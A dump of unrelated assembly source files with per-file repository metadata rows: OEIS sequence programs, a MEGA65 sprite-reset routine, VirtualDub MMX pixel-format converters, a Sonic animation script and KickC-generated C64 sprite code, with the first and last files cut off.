; 1,2,6,8,11,14,18,20,24,26,30,32,36,38,42,44,48,50,54,56,60,62,66,68,72,74,78,80,84,86,90,92,96,98,102,104,108,110,114,116,120,122,126,128,132,134,138,140,144,146,150,152,156,158,162,164,168,170,174,176,180,182,186,188,192,194,198,200,204,206,210,212,216,218,222,224,228,230,234,236,240,242,246,248,252,254,258,260,264,266,270,272,276,278,282,284,288,290,294,296,300,302,306,308,312,314,318,320,324,326,330,332,336,338,342,344,348,350,354,356,360,362,366,368,372,374,378,380,384,386,390,392,396,398,402,404,408,410,414,416,420,422,426,428,432,434,438,440,444,446,450,452,456,458,462,464,468,470,474,476,480,482,486,488,492,494,498,500,504,506,510,512,516,518,522,524,528,530,534,536,540,542,546,548,552,554,558,560,564,566,570,572,576,578,582,584,588,590,594,596,600,602,606,608,612,614,618,620,624,626,630,632,636,638,642,644,648,650,654,656,660,662,666,668,672,674,678,680,684,686,690,692,696,698,702,704,708,710,714,716,720,722,726,728,732,734,738,740,744,746
mov $2,$0
add $2,$0
mov $3,$0
add $3,5
mov $1,$3
mov $5,$0
add $5,2
mov $6,$0
mov $0,2
sub $1,2
add $0,$1
sub $3,$2
lpb $0
trn $3,$4
sub $0,$3
add $0,1
trn $0,3
add $1,$3
add $1,2
add $3,3
add $5,1
mov $4,$5
lpe
lpb $6
add $1,1
sub $6,1
lpe
sub $1,9
| 40.4375 | 963 | 0.68238 |
b05ac88013390f6f9883190a20b5287a7714cbd4 | 1,858 | asm | Assembly | source/initialise/sprites.asm | mega65dev/rom-assembler | 1670a56a8246dcdcc18e83b345d577eba686cf32 | [
"MIT"
] | null | null | null | source/initialise/sprites.asm | mega65dev/rom-assembler | 1670a56a8246dcdcc18e83b345d577eba686cf32 | [
"MIT"
] | null | null | null | source/initialise/sprites.asm | mega65dev/rom-assembler | 1670a56a8246dcdcc18e83b345d577eba686cf32 | [
"MIT"
] | null | null | null | ; ********************************************************************************************
; ********************************************************************************************
;
; Name : sprites.asm
; Purpose : ..
; Created : 15th Nov 1991
; Updated : 4th Jan 2021
; Authors : Fred Bowen
;
; ********************************************************************************************
; ********************************************************************************************
Sprite_CLR
jsr chkeos ; eat CLR token, check eos [910717] new
Sprite_CLR_1
php
sei
lda #0
sta vic+21 ; Turn off all sprites
sta vic+23 ; Unexpand them [910828]
sta vic+27 ; Sprite priority
sta vic+28 ; Hires sprites
sta vic+29
ldx #init_as_0 ; Init sprite tables
l316_1 sta sprite_data,x
dex
bpl l316_1
lda #sprite_base/64+7 ; Set up sprite pointers
ldy #7
l316_2 bbr7 _mode,l316_3
sta sprite_ptrs_40,y ; 40 col screen
bra l316_4
l316_3 sta sprite_ptrs_80,y ; 80 col screen
l316_4 dec
dey
bpl l316_2
plp
; rts
;.end
; ********************************************************************************************
;
; Date Changes
; ==== =======
;
; ********************************************************************************************
| 36.431373 | 97 | 0.257266 |
d8fdc307c6d62ae165e2bbd24180f8a4187e6a1e | 365 | asm | Assembly | oeis/092/A092611.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/092/A092611.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/092/A092611.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A092611: Product of first n primes that end in 9.
; Submitted by Jamie Morken(s4)
; 19,551,32509,2568211,228570779,24914214911,3463075872629,515998305021721,92363696598888059,18380375623178723741,4209106017707927736689,1005976338232194729068671
mov $1,1
lpb $0
mov $2,$0
sub $0,1
seq $2,30433 ; Primes of form 10*k + 9.
mul $1,$2
lpe
mov $0,$1
mul $0,19
| 26.071429 | 162 | 0.750685 |
9fccfad4d7288c7133e1e2cf7d5aaa7d5fd18560 | 14,696 | asm | Assembly | module/mpc-be/SRC/src/ExtLib/VirtualDub/Kasumi/source/a_bltrgb_mmx.asm | 1aq/PBox | 67ced599ee36ceaff097c6584f8100cf96006dfe | [
"MIT"
] | null | null | null | module/mpc-be/SRC/src/ExtLib/VirtualDub/Kasumi/source/a_bltrgb_mmx.asm | 1aq/PBox | 67ced599ee36ceaff097c6584f8100cf96006dfe | [
"MIT"
] | 1 | 2019-11-14T04:18:32.000Z | 2019-11-14T04:18:32.000Z | module/mpc-be/SRC/src/ExtLib/VirtualDub/Kasumi/source/a_bltrgb_mmx.asm | 1aq/PBox | 67ced599ee36ceaff097c6584f8100cf96006dfe | [
"MIT"
] | null | null | null | section .rdata, rdata
x07b dq 00707070707070707h
x0200w dq 00200020002000200h
x001fw dq 0001f001f001f001fh
xffc0w dq 0ffc0ffc0ffc0ffc0h
xffe0w dq 0ffe0ffe0ffe0ffe0h
x2080w dq 02080208020802080h
x4200w dq 04200420042004200h
rb_mask5 dq 000f800f800f800f8h
g_mask5 dq 00000f8000000f800h
g_mask6 dq 00000fc000000fc00h
rb_mul_565 dq 02000000420000004h
rb_mul_555 dq 02000000820000008h
r_mask_555 dq 07c007c007c007c00h
g_mask_555 dq 003e003e003e003e0h
b_mask_555 dq 0001f001f001f001fh
r_mask_565 dq 0f800f800f800f800h
g_mask_565 dq 007e007e007e007e0h
b_mask_565 dq 0001f001f001f001fh
%macro prologue 1
push ebx
push esi
push edi
push ebp
;.fpo (0,%1,4,4,1,0)
%endmacro
%macro epilogue 0
pop ebp
pop edi
pop esi
pop ebx
%endmacro
section .text
global _vdasm_pixblt_RGB565_to_XRGB1555_MMX
_vdasm_pixblt_RGB565_to_XRGB1555_MMX:
prologue 6
mov ebp, [esp+20+16]
mov edi, [esp+24+16]
add ebp, ebp
mov edx, [esp+4+16]
mov ecx, [esp+12+16]
lea edx, [edx+ebp-6]
lea ecx, [ecx+ebp-6]
neg ebp
mov [esp+20+16], ebp
movq mm5, [x001fw]
movq mm4, [xffc0w]
.yloop:
mov ebp, [esp+20+16]
add ebp, 6
jbe .odd
.xloop:
movq mm0, [ecx+ebp]
movq mm1, mm5
pand mm1, mm0
pand mm0, mm4
psrlq mm0, 1
paddw mm0, mm1
movq [edx+ebp], mm0
add ebp, 8
jnc .xloop
sub ebp, 6
jz .noodd
.odd:
movzx eax, word [ecx+ebp+6]
mov ebx, 0001f001fh
and ebx, eax
and eax, 0ffc0ffc0h
shr eax, 1
add eax, ebx
mov [edx+ebp+6], ax
add ebp, 2
jnz .odd
.noodd:
add ecx, [esp+16+16]
add edx, [esp+8+16]
dec edi
jne .yloop
emms
epilogue
ret
global _vdasm_pixblt_XRGB8888_to_XRGB1555_MMX
_vdasm_pixblt_XRGB8888_to_XRGB1555_MMX:
prologue 6
mov ebp, [esp+20+16]
mov edi, [esp+24+16]
add ebp, ebp
mov edx, [esp+4+16]
mov ecx, [esp+12+16]
lea edx, [edx+ebp-14]
lea ecx, [ecx+ebp*2-28]
neg ebp
mov [esp+20+16], ebp
movq mm5,[rb_mul_555]
movq mm6,[rb_mask5]
movq mm7,[g_mask5]
.yloop:
mov ebp, [esp+20+16]
add ebp, 14
jbe .odd
;This code uses the "pmaddwd" trick for 32->16 conversions from Intel's MMX
;Application Notes.
movq mm0,[ecx+ebp*2] ;allocate 0 (0123)
movq mm2,mm0 ;allocate 2 (0 23)
movq mm1,[ecx+ebp*2+8] ;allocate 1 (0123)
movq mm3,mm1 ;allocate 3 (0123)
pand mm0,mm6
pmaddwd mm0,mm5
pand mm1,mm6
pmaddwd mm1,mm5
pand mm2,mm7
pand mm3,mm7
jmp .xloopstart
align 16
.xloop:
movq mm0,[ecx+ebp*2] ;allocate 0 (01234)
por mm4,mm2 ;free 2 (01 34)
por mm3,mm1 ;free 3 (01 34)
movq mm2,mm0 ;allocate 2 (0 234)
movq mm1,[ecx+ebp*2+8] ;allocate 1 (01234)
psrld mm4,6
psrld mm3,6
pand mm0,mm6
packssdw mm4,mm3 ;free 3 (012 4)
movq mm3,mm1 ;allocate 3 (01234)
pmaddwd mm0,mm5
pand mm1,mm6
pmaddwd mm1,mm5
pand mm2,mm7
movq [edx+ebp-8],mm4 ;free 4 (0123 )
pand mm3,mm7
.xloopstart:
movq mm4,[ecx+ebp*2+16] ;allocate 4 (01234)
por mm0,mm2 ;free 2 (01 34)
por mm1,mm3 ;free 3 (01 4)
psrld mm0,6
movq mm3,[ecx+ebp*2+24] ;allocate 3 (01 34)
movq mm2,mm4 ;allocate 2 (01234)
psrld mm1,6
pand mm4,mm6
packssdw mm0,mm1 ;free 1 (0 234)
movq mm1,mm3 ;allocate 1 (01234)
movq [edx+ebp],mm0 ;free 0 ( 1234)
pand mm3,mm6
pmaddwd mm4,mm5
add ebp,16
pmaddwd mm3,mm5
pand mm2,mm7
pand mm1,mm7
jnc .xloop
por mm4,mm2 ;free 2 (01 34)
por mm3,mm1 ;free 3 (01 34)
psrld mm4,6
psrld mm3,6
packssdw mm4,mm3 ;free 3 (012 4)
movq [edx+ebp-8],mm4 ;free 4 (0123 )
.odd:
sub ebp, 14
jz .noodd
.oddloop:
mov eax, [ecx+ebp*2+28]
mov ebx, 00f80000h
mov esi, eax
and ebx, eax
shr ebx, 9
and esi, 0000f800h
shr esi, 6
and eax, 000000f8h
shr eax, 3
add esi, ebx
add eax, esi
mov [edx+ebp+14], ax
add ebp, 2
jnz .oddloop
.noodd:
add ecx, [esp+16+16]
add edx, [esp+8+16]
dec edi
jne .yloop
emms
epilogue
ret
global _vdasm_pixblt_XRGB1555_to_RGB565_MMX
_vdasm_pixblt_XRGB1555_to_RGB565_MMX:
prologue 6
mov ebp, [esp+20+16]
mov edi, [esp+24+16]
add ebp, ebp
mov edx, [esp+4+16]
mov ecx, [esp+12+16]
lea edx, [edx+ebp-6]
lea ecx, [ecx+ebp-6]
neg ebp
mov [esp+20+16], ebp
movq mm5, [x0200w]
movq mm4, [xffe0w]
.yloop:
mov ebp, [esp+20+16]
add ebp, 6
jbe .odd
.xloop:
movq mm0, [ecx+ebp]
movq mm1, mm4
movq mm2, mm0
pand mm1, mm0
pand mm0, mm5
paddw mm1, mm2
psrlq mm0, 4
paddw mm0, mm1
movq [edx+ebp], mm0
add ebp, 8
jnc .xloop
.odd:
sub ebp, 6
jz .noodd
.oddloop:
movzx eax, word [ecx+ebp+6]
mov ebx, 02000200h
mov esi, eax
and ebx, eax
shr ebx, 4
and esi, 0ffe0ffe0h
add eax, esi
add eax, ebx
mov [edx+ebp+6], ax
add ebp, 2
jnz .oddloop
.noodd:
add ecx, [esp+16+16]
add edx, [esp+8+16]
dec edi
jne .yloop
emms
epilogue
ret
global _vdasm_pixblt_XRGB8888_to_RGB565_MMX
_vdasm_pixblt_XRGB8888_to_RGB565_MMX:
prologue 6
mov ebp, [esp+20+16]
mov edi, [esp+24+16]
add ebp, ebp
mov edx, [esp+4+16]
mov ecx, [esp+12+16]
lea edx, [edx+ebp-14]
lea ecx, [ecx+ebp*2-28]
neg ebp
mov [esp+20+16], ebp
movq mm5,[rb_mul_565]
movq mm6,[rb_mask5]
movq mm7,[g_mask6]
.yloop:
mov ebp, [esp+20+16]
add ebp, 14
jbe .odd
;This code uses the "pmaddwd" trick for 32->16 conversions from Intel's MMX
;Application Notes.
movq mm0,[ecx+ebp*2] ;allocate 0 (0123)
movq mm2,mm0 ;allocate 2 (0 23)
movq mm1,[ecx+ebp*2+8] ;allocate 1 (0123)
movq mm3,mm1 ;allocate 3 (0123)
pand mm0,mm6
pmaddwd mm0,mm5
pand mm1,mm6
pmaddwd mm1,mm5
pand mm2,mm7
pand mm3,mm7
jmp .xloopstart
align 16
.xloop:
movq mm0,[ecx+ebp*2] ;allocate 0 (01234)
por mm4,mm2 ;free 2 (01 34)
por mm3,mm1 ;free 3 (01 34)
pslld mm4,16-5
pslld mm3,16-5
movq mm2,mm0 ;allocate 2 (0 234)
movq mm1,[ecx+ebp*2+8] ;allocate 1 (01234)
psrad mm4,16
psrad mm3,16
pand mm0,mm6
packssdw mm4,mm3 ;free 3 (012 4)
movq mm3,mm1 ;allocate 3 (01234)
pmaddwd mm0,mm5
pand mm1,mm6
pmaddwd mm1,mm5
pand mm2,mm7
movq [edx+ebp-8],mm4 ;free 4 (0123 )
pand mm3,mm7
.xloopstart:
movq mm4,[ecx+ebp*2+16] ;allocate 4 (01234)
por mm0,mm2 ;free 2 (01 34)
por mm1,mm3 ;free 3 (01 4)
pslld mm0,16-5
movq mm3,[ecx+ebp*2+24] ;allocate 3 (01 34)
pslld mm1,16-5
psrad mm0,16
movq mm2,mm4 ;allocate 2 (01234)
psrad mm1,16
pand mm4,mm6
packssdw mm0,mm1 ;free 1 (0 234)
movq mm1,mm3 ;allocate 1 (01234)
movq [edx+ebp],mm0 ;free 0 ( 1234)
pand mm3,mm6
pmaddwd mm4,mm5
add ebp,16
pmaddwd mm3,mm5
pand mm2,mm7
pand mm1,mm7
jnc .xloop
por mm4,mm2 ;free 2 (01 34)
por mm3,mm1 ;free 3 (01 34)
psllq mm4,16-5
psllq mm3,16-5
psrad mm4,16
psrad mm3,16
packssdw mm4,mm3 ;free 3 (012 4)
movq [edx+ebp-8],mm4 ;free 4 (0123 )
.odd:
sub ebp, 14
jz .noodd
.oddloop:
mov eax, [ecx+ebp*2+28]
mov ebx, 00f80000h
mov esi, eax
and ebx, eax
and eax, 000000f8h
shr eax, 3
and esi, 0000fc00h
shr ebx, 8
shr esi, 5
add eax, ebx
add eax, esi
mov [edx+ebp+14], ax
add ebp, 2
jnz .oddloop
.noodd:
add ecx, [esp+16+16]
add edx, [esp+8+16]
dec edi
jne .yloop
emms
epilogue
ret
global _vdasm_pixblt_XRGB8888_to_RGB888_MMX
_vdasm_pixblt_XRGB8888_to_RGB888_MMX:
prologue 6
mov esi,[esp+12+16]
mov edi,[esp+4+16]
mov ecx,[esp+20+16]
lea eax,[ecx+ecx*2]
lea ebx,[ecx*4]
sub [esp+8+16],eax
sub [esp+16+16],ebx
pcmpeqb mm7,mm7
psrld mm7,8
movq mm6,mm7
psllq mm7,32 ;mm7 = high rgb mask
psrlq mm6,32 ;mm6 = low rgb mask
mov ebp,[esp+20+16]
mov edx,[esp+24+16]
mov eax,[esp+16+16]
mov ebx,[esp+ 8+16]
.yloop:
mov ecx,ebp
shr ecx,3
jz .checkodd
.xloop:
movq mm0,[esi] ;mm0 = a1r1g1b1a0r0g0b0
movq mm1,mm6
movq mm2,[esi+8] ;mm2 = a3r3g3b3a2r2g2b2
pand mm1,mm0 ;mm1 = ----------r0g0b0
movq mm3,mm6
pand mm0,mm7 ;mm0 = --r1g1b1--------
movq mm4,mm2
pand mm3,mm2 ;mm3 = ----------r2g2b2
psrlq mm0,8 ;mm0 = ----r1g1b1------
pand mm2,mm7 ;mm2 = --r3g3b3--------
movq mm5,[esi+16] ;mm5 = a5r5g5b5a4r4g4b4
psllq mm4,48 ;mm4 = g2b2------------
por mm0,mm1 ;mm0 = ----r1g1b1r0g0b0
psrlq mm3,16 ;mm3 = --------------r2
por mm0,mm4 ;mm0 = g2b2r1g1b1r0g0b0
movq mm1,mm6
pand mm1,mm5 ;mm1 = ----------r4g4b4
psrlq mm2,24 ;mm2 = --------r3g3b3--
movq [edi],mm0
pand mm5,mm7 ;mm5 = --r5g5b5--------
psllq mm1,32 ;mm1 = --r4g4b4--------
movq mm4,mm5 ;mm4 = --r5g5b5--------
por mm2,mm3 ;mm2 = --------r3g3b3r2
psllq mm5,24 ;mm5 = b5--------------
movq mm3,[esi+24] ;mm3 = a7r7g7b7a6r6g6b6
por mm2,mm1 ;mm2 = --r4g4b4r3g3b3r2
movq mm1,mm6
por mm2,mm5 ;mm2 = b5r4g4b4r3g3b3r2
psrlq mm4,40 ;mm4 = ------------r5g5
pand mm1,mm3 ;mm1 = ----------r6g6b6
psllq mm1,16 ;mm1 = ------r6g6b6----
pand mm3,mm7 ;mm3 = --r7g7b7--------
por mm4,mm1 ;mm4 = ------r6g6b6r5g5
psllq mm3,8 ;mm3 = r7g7b7----------
movq [edi+8],mm2
por mm4,mm3 ;mm4 = r7g7b7r6g6b6r5g5
add esi,32
sub ecx,1
movq [edi+16],mm4 ;mm3
lea edi,[edi+24]
jne .xloop
.checkodd:
mov ecx,ebp
and ecx,7
jz .noodd
movd mm0,eax
.oddloop:
mov eax,[esi]
add esi,4
mov [edi],ax
shr eax,16
mov [edi+2],al
add edi,3
sub ecx,1
jnz .oddloop
movd eax,mm0
.noodd:
add esi,eax
add edi,ebx
sub edx,1
jne .yloop
emms
epilogue
ret
global _vdasm_pixblt_XRGB1555_to_XRGB8888_MMX
_vdasm_pixblt_XRGB1555_to_XRGB8888_MMX:
prologue 6
mov ebp, [esp+20+16]
mov edi, [esp+24+16]
add ebp, ebp
mov edx, [esp+4+16]
mov ecx, [esp+12+16]
lea edx, [edx+ebp*2-12]
lea ecx, [ecx+ebp-6]
neg ebp
mov [esp+20+16], ebp
movq mm5, [r_mask_555]
movq mm6, [g_mask_555]
movq mm7, [b_mask_555]
.yloop:
mov ebp, [esp+20+16]
add ebp, 6
jbe .odd
.xloop:
movq mm0, [ecx+ebp]
movq mm1, mm6
movq mm2, mm7
pand mm1, mm0
pand mm2, mm0
pand mm0, mm5
paddw mm0, mm0
pmulhw mm1, [x4200w]
psllq mm2, 3
paddw mm0, mm2
movq mm2, mm0
psrlw mm0, 5
pand mm0, [x07b]
paddw mm0, mm2
movq mm2, mm0
punpcklbw mm0, mm1
punpckhbw mm2, mm1
movq [edx+ebp*2], mm0
movq [edx+ebp*2+8], mm2
add ebp, 8
jnc .xloop
.odd:
sub ebp, 6
jz .noodd
.oddloop:
movzx eax, word [ecx+ebp+6]
mov ebx, 03e0h
mov esi, 001fh
and ebx, eax
and esi, eax
and eax, 07c00h
shl esi, 3
shl ebx, 6
shl eax, 9
add ebx, esi
add eax, ebx
mov ebx, eax
shr eax, 5
and eax, 070707h
add eax, ebx
mov [edx+ebp*2+12], eax
add ebp, 2
jnz .oddloop
.noodd:
add ecx, [esp+16+16]
add edx, [esp+8+16]
dec edi
jne .yloop
emms
epilogue
ret
global _vdasm_pixblt_RGB565_to_XRGB8888_MMX
_vdasm_pixblt_RGB565_to_XRGB8888_MMX:
prologue 6
mov ebp, [esp+20+16]
mov edi, [esp+24+16]
add ebp, ebp
mov edx, [esp+4+16]
mov ecx, [esp+12+16]
lea edx, [edx+ebp*2-12]
lea ecx, [ecx+ebp-6]
neg ebp
mov [esp+20+16], ebp
movq mm5, [r_mask_565]
movq mm6, [g_mask_565]
movq mm7, [b_mask_565]
.yloop:
mov ebp, [esp+20+16]
add ebp, 6
jbe .odd
.xloop:
movq mm0, [ecx+ebp]
movq mm1, mm6
movq mm2, mm7
pand mm1, mm0
pand mm2, mm0
pand mm0, mm5
pmulhw mm1, [x2080w]
psllq mm2, 3
paddw mm0, mm2
movq mm2, mm0
psrlw mm0, 5
pand mm0, [x07b]
paddw mm0, mm2
movq mm2, mm0
punpcklbw mm0, mm1
punpckhbw mm2, mm1
movq [edx+ebp*2], mm0
movq [edx+ebp*2+8], mm2
add ebp, 8
jnc .xloop
.odd:
sub ebp, 6
jz .noodd
push edi
.oddloop:
movzx eax, word [ecx+ebp+6]
mov ebx, 0000f800h
and ebx, eax
mov esi, eax
shl ebx, 8
mov edi, eax
shl eax, 3
and esi, 000007e0h
and eax, 000000f8h
add ebx, eax
shl esi, 5
mov eax, ebx
shr ebx, 5
and edi, 00000600h
shr edi, 1
and ebx, 00070007h
add esi, edi
add eax, ebx
add eax, esi
mov [edx+ebp*2+12], eax
add ebp, 2
jnz .oddloop
pop edi
.noodd:
add ecx, [esp+16+16]
add edx, [esp+8+16]
dec edi
jne .yloop
emms
epilogue
ret
global _vdasm_pixblt_RGB888_to_XRGB8888_MMX
_vdasm_pixblt_RGB888_to_XRGB8888_MMX:
prologue 6
mov esi,[esp+12+16]
mov edi,[esp+4+16]
mov ecx,[esp+20+16]
lea eax,[ecx+ecx*2]
lea ebx,[ecx*4]
sub [esp+8+16],ebx
sub [esp+16+16],eax
mov edx,[esp+24+16]
mov ebx,[esp+20+16]
mov ecx,[esp+16+16]
mov eax,[esp+ 8+16]
;ebx horizontal count backup
;ecx source modulo
;edx vertical count
;esi source
;edi destination
;ebp horizontal count
.yloop:
mov ebp,ebx
shr ebp,3
jz .checkodd
.xloop:
movq mm0,[esi] ;mm0: g2b2r1g1b1r0g0b0
movq mm1,mm0 ;
psrlq mm1,24 ;mm1: ------g2b2r1g1b1
movq mm2,mm0 ;
movq mm3,[esi+8] ;mm3: b5r4g4b4r3g3b3r2
punpckldq mm0,mm1 ;mm0: b2r1g1b1b1r0g0b0 [qword 0 ready]
movq mm4,mm3 ;mm4: b5r4g4b4r3g3b3r2
psllq mm3,48 ;mm3: b3r2------------
movq mm5,mm4 ;mm5: b5r4g4b4r3g3b3r2
psrlq mm2,16 ;mm2: ----g2b2--------
movq mm1,[esi+16] ;mm1: r7g7b7r6g6b6r5g5
por mm2,mm3 ;mm2: b3r2g2b2--------
movq [edi],mm0 ;
psllq mm4,24 ;mm4: b4r3g3b3r2------
movq mm3,mm5 ;mm3: b5r4g4b4r3g3b3r2
psrlq mm5,24 ;mm5: ------b5r4g4b4r3
movq mm0,mm1 ;mm0: r7g7b7r6g6b6r5g5
psllq mm1,40 ;mm1: b6r5g5----------
punpckhdq mm2,mm4 ;mm2: b4r3g3b3b3r2g2b2 [qword 1 ready]
por mm1,mm5 ;mm1: b6r5g5b5r4g4b4r3
movq mm4,mm0 ;mm4: r7g7b7r6g6b6r5g5
punpckhdq mm3,mm1 ;mm3: b6r5g5b5b5r4g4b4 [qword 2 ready]
movq [edi+8],mm2
psrlq mm0,16 ;mm0: ----r7g7b7r6g6b6
movq [edi+16],mm3
psrlq mm4,40 ;mm4: ----------r7g7b7
punpckldq mm0,mm4 ;mm0: --r7g7b7b7r6g6b6 [qword 3 ready]
add esi,24
movq [edi+24],mm0
add edi,32
sub ebp,1
jne .xloop
.checkodd:
mov ebp,ebx
and ebp,7
jz .noodd
movd mm7,eax
.oddloop:
mov ax,[esi]
mov [edi],ax
mov al,[esi+2]
mov [edi+2],al
add esi,3
add edi,4
sub ebp,1
jne .oddloop
movd eax,mm7
.noodd:
add esi,ecx
add edi,eax
sub edx,1
jne .yloop
emms
epilogue
ret
end
| 18.210657 | 77 | 0.599415 |
7c3ffe1b72b0b726964c8b9e0a791bf13b986b32 | 516 | asm | Assembly | programs/oeis/120/A120740.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/120/A120740.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/120/A120740.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A120740: Numbers n such that n = Sum_digits[k*abs(n-k)] for some k>=0.
; 0,4,5,9,14,18,23,27,32,36,41,45,50,54,59,63,68,72,77,81,86,90,95,99,104,108,113,117,122,126,131,135,140,144,149,153,158,162,167,171,176,180,185,189,194,198,203,207,212,216,221,225,230,234,239,243,248,252
mul $0,2
mov $1,$0
mov $6,$0
mov $0,1
sub $0,$6
mov $3,1
add $3,$1
mov $4,$6
mov $5,$0
lpb $0,1
add $3,4
mov $0,$3
sub $0,8
add $4,$0
mov $2,$4
sub $2,5
mov $1,$2
add $5,4
mov $0,$5
mov $3,5
mov $6,5
lpe
add $1,$6
| 19.111111 | 205 | 0.596899 |
0411ea011263083b931522466511c06633a502e2 | 319 | asm | Assembly | _anim/Orbinaut.asm | kodishmediacenter/msu-md-sonic | 3aa7c5e8add9660df2cd0eceaa214e7d59f2415c | [
"CC0-1.0"
] | 9 | 2021-01-15T13:47:53.000Z | 2022-01-17T15:33:55.000Z | _anim/Orbinaut.asm | kodishmediacenter/msu-md-sonic | 3aa7c5e8add9660df2cd0eceaa214e7d59f2415c | [
"CC0-1.0"
] | 7 | 2021-01-14T02:18:48.000Z | 2021-03-24T15:44:30.000Z | _anim/Orbinaut.asm | kodishmediacenter/msu-md-sonic | 3aa7c5e8add9660df2cd0eceaa214e7d59f2415c | [
"CC0-1.0"
] | 2 | 2021-01-14T13:14:26.000Z | 2021-01-29T17:46:04.000Z | ; ---------------------------------------------------------------------------
; Animation script - Orbinaut enemy
; ---------------------------------------------------------------------------
Ani_Orb: dc.w @normal-Ani_Orb
dc.w @angers-Ani_Orb
@normal: dc.b $F, 0, afEnd
even
@angers: dc.b $F, 1, 2, afBack, 1
even | 35.444444 | 77 | 0.344828 |
00880aa521597edb8b817436685259a537871ad4 | 734 | asm | Assembly | oeis/297/A297180.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/297/A297180.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/297/A297180.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A297180: a(n) is the smallest positive integer of length (distance from origin) n in the Cayley graph of the integers generated by all powers of 7.
; 1,2,3,4,11,18,25,74,123,172,515,858,1201,3602,6003,8404,25211,42018,58825,176474,294123,411772,1235315,2058858,2882401,8647202,14412003,20176804,60530411,100884018,141237625,423712874,706188123,988663372,2965990115,4943316858,6920643601,20761930802,34603218003,48444505204,145333515611,242222526018,339111536425,1017334609274,1695557682123,2373780754972,7121342264915,11868903774858,16616465284801,49849395854402,83082326424003,116315256993604,348945770980811,581576284968018,814206798955225
mul $0,2
seq $0,181303 ; Numbers of the form i*7^j-1 (i=1..6, j >= 0).
div $0,2
add $0,1
| 91.75 | 493 | 0.821526 |
a1346f7dc551bb16d6000e397d60183d18a79305 | 4,970 | asm | Assembly | src/test/ref/signed-words.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/test/ref/signed-words.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/test/ref/signed-words.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | /// @file
/// Commodore 64 Registers and Constants
/// @file
/// The MOS 6526 Complex Interface Adapter (CIA)
///
/// http://archive.6502.org/datasheets/mos_6526_cia_recreated.pdf
// Commodore 64 PRG executable file
.file [name="signed-words.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.const WHITE = 1
.const g = -5
/// Sprite X position register for sprite #0
.label SPRITES_XPOS = $d000
/// Sprite Y position register for sprite #0
.label SPRITES_YPOS = $d001
/// Sprite X position MSB register
.label SPRITES_XMSB = $d010
/// Sprite colors register for sprite #0
.label SPRITES_COLOR = $d027
/// Sprite enable register
.label SPRITES_ENABLE = $d015
/// Sprite expand Y register
.label SPRITES_EXPAND_Y = $d017
/// Sprite expand X register
.label SPRITES_EXPAND_X = $d01d
/// $D012 RASTER Raster counter
.label RASTER = $d012
.label SCREEN = $400
.label SPRITES_PTR = SCREEN+$3f8
.label SPRITE = $2000
// Reset y velocity
.label yvel_init = 6
.label yvel = 6
.label yvel_1 = 2
// Reset position
.label xpos = $c
.label ypos = $e
.label xvel = 4
.segment Code
main: {
// init()
jsr init
lda #<$64
sta.z yvel_init
lda #>$64
sta.z yvel_init+1
lda #<$c8
sta.z xvel
lda #>$c8
sta.z xvel+1
lda #<0
sta.z ypos
sta.z ypos+1
sta.z xpos
sta.z xpos+1
lda #<$64
sta.z yvel_1
lda #>$64
sta.z yvel_1+1
__b1:
// while (*RASTER!=$ff)
lda #$ff
cmp RASTER
bne __b1
// anim()
jsr anim
jmp __b1
}
// Fill and show a sprite, clear the screen
init: {
.label sc = 4
// *SPRITES_ENABLE = %00000001
lda #1
sta SPRITES_ENABLE
// *SPRITES_EXPAND_X = 0
lda #0
sta SPRITES_EXPAND_X
// *SPRITES_EXPAND_Y = 0
sta SPRITES_EXPAND_Y
// SPRITES_XPOS[0] = 100
lda #$64
sta SPRITES_XPOS
// SPRITES_YPOS[0] = 100
sta SPRITES_YPOS
// SPRITES_COLOR[0] = WHITE
lda #WHITE
sta SPRITES_COLOR
// SPRITES_PTR[0] = (byte)(SPRITE/$40)
lda #SPRITE/$40
sta SPRITES_PTR
lda #<SCREEN
sta.z sc
lda #>SCREEN
sta.z sc+1
__b1:
// for(byte* sc=SCREEN; sc!=SCREEN+1000; sc++ )
lda.z sc+1
cmp #>SCREEN+$3e8
bne __b2
lda.z sc
cmp #<SCREEN+$3e8
bne __b2
ldx #0
__b3:
// SPRITE[i] = $ff
lda #$ff
sta SPRITE,x
// for(byte i : 0..63)
inx
cpx #$40
bne __b3
// }
rts
__b2:
// *sc = ' '
lda #' '
ldy #0
sta (sc),y
// for(byte* sc=SCREEN; sc!=SCREEN+1000; sc++ )
inc.z sc
bne !+
inc.z sc+1
!:
jmp __b1
}
anim: {
.label __5 = $a
.label __7 = 8
.label sprite_x = $a
.label sprite_y = 8
// if(ypos<0)
lda.z ypos+1
bpl __b1
